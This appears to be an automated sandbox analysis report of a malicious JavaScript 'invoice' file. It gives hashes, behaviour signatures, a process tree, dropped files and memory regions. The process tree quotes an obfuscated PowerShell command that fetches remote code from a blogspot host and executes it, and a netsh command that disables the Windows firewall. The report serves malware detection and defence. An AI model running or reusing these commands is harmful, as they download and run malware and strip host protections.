Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-12-2023 05:58

General

  • Target

    invoice_2566246817.js

  • Size

    106KB

  • MD5

    fc6d7a11059fee2eda2bab5e4c82c839

  • SHA1

    9907895c521bddd02573ca5e361490f017932dbe

  • SHA256

    39afb67d0916e6761f7604cb65ebdb1c115f24e62d9b122c0137b46215a0b00c

  • SHA512

    1e820c22e9cbd0f360b7187eb8062089ead22cfd1a62e0e47450523659b841bf37278ddfd530c4792529d88145ceb1ff88389d541fda9e68d9c127ba5579fb39

  • SSDEEP

    384:boJdyttnpXrov4gPyjjF/9sui+1VaEEEfEfffEfEffESxyOVYZPjcrdRoDT/8W8z:kS5W

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Registers COM server for autorun 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\invoice_2566246817.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c $((irm hotelofficeewn.blogspot.com////////////////////////////////////atom.xml) | .('{1}{0}'-f'kasokdaoskdoaksodkasodkaoskdoaksdoaksod','I').replace('kasokdaoskdoaksodkasodkaoskdoaksdoaksod','ex'))
      2⤵
      • UAC bypass
      • Blocklisted process makes network request
      • Registers COM server for autorun
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aw0eaotw\aw0eaotw.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4448
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES93A5.tmp" "c:\Users\Admin\AppData\Local\Temp\aw0eaotw\CSC946AF703D23C4F11987A705B173E971.TMP"
          4⤵
            PID:2200
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue
          3⤵
          • Modifies Windows Firewall
          PID:2644
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4596
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:60
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 776
            4⤵
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:636
        • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:652
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 780
            4⤵
            • Drops file in Windows directory
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:2924

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RES93A5.tmp

      Filesize

      1KB

      MD5

      20e3dcb2b6b8e1de0336649d60d31d4a

      SHA1

      a4fbf4c33a1a06a922125737ab4cced3a0b2379c

      SHA256

      1ed166709a7a70d7d6b4965ff126e1c057d8762abc4aa6f0429a857c1ddb565c

      SHA512

      2aa241bb49b9d48e7cb4f23480c127be1edabbaecbbea339af6ea4ac075a8a4593671efb9a0530efb1550a82a5490b392f98fc07ffa02b5877498ec76c4f89b4

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_altt2jc1.3cc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\aw0eaotw\aw0eaotw.dll

      Filesize

      3KB

      MD5

      67f719de074a517e1bb6713f13bef1aa

      SHA1

      31ce156883971fe28fc655b61bed8dca3ffb3089

      SHA256

      c943d5f43de2899addfa4dfca6065b020cfc312b80bc144549eb3f4449c2a7c5

      SHA512

      d84f04198137f0e1a8063109dd75454aa9189074bd8d6fb4b5e10cdd2b1c644290c1b902710bc09bff0cc125bd03fd1bc79ada25542964db571c55fa5f369384

    • \??\c:\Users\Admin\AppData\Local\Temp\aw0eaotw\CSC946AF703D23C4F11987A705B173E971.TMP

      Filesize

      652B

      MD5

      7c2666ca5c957e0c3d2f17744125d3c3

      SHA1

      2bbf972ed9ce73de79bcd9b1bd15b30af1313e52

      SHA256

      136dd22b6132641c6421052be1baa30d7df7bbd6941aebe2171dbb8d02bf12a2

      SHA512

      7aad7b0e865ed9d75523d2a7dcd6ef2bfbd8726e56bcf8be17378e68cb70fba1d7170d6ecffb2ae926afa46834f1e7eadd0f0cd553659b57b1cfac0ae5bddadd

    • \??\c:\Users\Admin\AppData\Local\Temp\aw0eaotw\aw0eaotw.0.cs

      Filesize

      870B

      MD5

      e06ebf853695db38aaac82c9af297ae4

      SHA1

      ef98bacec5ac2ae3bf24aac8ed56935a25c1f064

      SHA256

      79c1099bad1dccb1d151887071b8e8b5d679de343903895fa28e45b791cae344

      SHA512

      036449d932066d506a6bd7c08df311bf1ed5e7b3595004941fe1c39a8e9f9b0d08d43b33a180d4851f88d49c98a17b05cf5235858ada611306fc602cfd582759

    • \??\c:\Users\Admin\AppData\Local\Temp\aw0eaotw\aw0eaotw.cmdline

      Filesize

      369B

      MD5

      1f0bf0fc43b74dd075a6be9ab9b8bb65

      SHA1

      191db5efcf9a1fe8264598f6d2d2019d2d39d499

      SHA256

      94288fd41758d099ae7ca02e3fdef7d7690e35330ed5e585ea4e98ded33e0ec2

      SHA512

      ec316afd6467d19ad11c64c9112350cb0009a461cda022b0680d017060763faab0782f40ee15f82b9dfb9933e4a6c0f3d993e2a6a88730671327397daeabacd7

    • memory/60-39-0x0000000074920000-0x0000000074ED1000-memory.dmp

      Filesize

      5.7MB

    • memory/60-71-0x0000000074920000-0x0000000074ED1000-memory.dmp

      Filesize

      5.7MB

    • memory/60-54-0x0000000074920000-0x0000000074ED1000-memory.dmp

      Filesize

      5.7MB

    • memory/60-53-0x00000000017D0000-0x00000000017E0000-memory.dmp

      Filesize

      64KB

    • memory/652-40-0x0000000074920000-0x0000000074ED1000-memory.dmp

      Filesize

      5.7MB

    • memory/652-58-0x0000000074920000-0x0000000074ED1000-memory.dmp

      Filesize

      5.7MB

    • memory/2780-31-0x00000183D3740000-0x00000183D375A000-memory.dmp

      Filesize

      104KB

    • memory/2780-30-0x00000183D3700000-0x00000183D370E000-memory.dmp

      Filesize

      56KB

    • memory/2780-14-0x00000183ECB10000-0x00000183ECCD2000-memory.dmp

      Filesize

      1.8MB

    • memory/2780-13-0x00000183EBAF0000-0x00000183EBB00000-memory.dmp

      Filesize

      64KB

    • memory/2780-37-0x00007FFC792C0000-0x00007FFC79D81000-memory.dmp

      Filesize

      10.8MB

    • memory/2780-65-0x00007FFC792C0000-0x00007FFC79D81000-memory.dmp

      Filesize

      10.8MB

    • memory/2780-5-0x00000183EBA90000-0x00000183EBAB2000-memory.dmp

      Filesize

      136KB

    • memory/2780-28-0x00000183EC6F0000-0x00000183EC6F8000-memory.dmp

      Filesize

      32KB

    • memory/2780-57-0x00000183EBAF0000-0x00000183EBB00000-memory.dmp

      Filesize

      64KB

    • memory/2780-11-0x00000183EBAF0000-0x00000183EBB00000-memory.dmp

      Filesize

      64KB

    • memory/2780-61-0x00000183EBAF0000-0x00000183EBB00000-memory.dmp

      Filesize

      64KB

    • memory/2780-10-0x00007FFC792C0000-0x00007FFC79D81000-memory.dmp

      Filesize

      10.8MB

    • memory/2780-12-0x00000183EBAF0000-0x00000183EBB00000-memory.dmp

      Filesize

      64KB

    • memory/4596-50-0x0000000005130000-0x0000000005196000-memory.dmp

      Filesize

      408KB

    • memory/4596-47-0x0000000005090000-0x0000000005122000-memory.dmp

      Filesize

      584KB

    • memory/4596-62-0x0000000004F80000-0x0000000004F90000-memory.dmp

      Filesize

      64KB

    • memory/4596-42-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/4596-41-0x00000000055A0000-0x0000000005B44000-memory.dmp

      Filesize

      5.6MB

    • memory/4596-38-0x0000000000940000-0x00000000009AC000-memory.dmp

      Filesize

      432KB

    • memory/4596-66-0x00000000064B0000-0x0000000006500000-memory.dmp

      Filesize

      320KB

    • memory/4596-67-0x00000000066D0000-0x0000000006892000-memory.dmp

      Filesize

      1.8MB

    • memory/4596-68-0x00000000065A0000-0x000000000663C000-memory.dmp

      Filesize

      624KB

    • memory/4596-69-0x0000000006590000-0x000000000659A000-memory.dmp

      Filesize

      40KB

    • memory/4596-70-0x0000000074170000-0x0000000074920000-memory.dmp

      Filesize

      7.7MB

    • memory/4596-32-0x0000000000400000-0x000000000046C000-memory.dmp

      Filesize

      432KB

    • memory/4596-72-0x0000000004F80000-0x0000000004F90000-memory.dmp

      Filesize

      64KB